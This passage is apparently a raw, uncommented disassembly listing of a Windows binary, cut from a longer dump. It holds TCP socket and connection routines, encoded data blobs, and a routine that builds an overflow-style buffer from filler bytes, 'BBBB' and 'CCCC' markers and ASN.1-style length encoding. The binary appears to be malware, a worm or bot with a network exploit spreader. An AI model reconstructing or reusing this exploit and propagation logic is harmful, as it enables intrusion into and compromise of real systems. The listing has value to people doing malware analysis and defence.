		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2690DCCh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		nop
		call	near ptr 26F0760h


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B8C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 59E85757h, 9002283Dh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 4DE890FCh, 0FF022641h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 283C67E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 5DE80875h, 90022640h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8E8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C40
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FC4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C4C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FB8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FB4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FA4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431F9F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CDC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D0C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C54
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
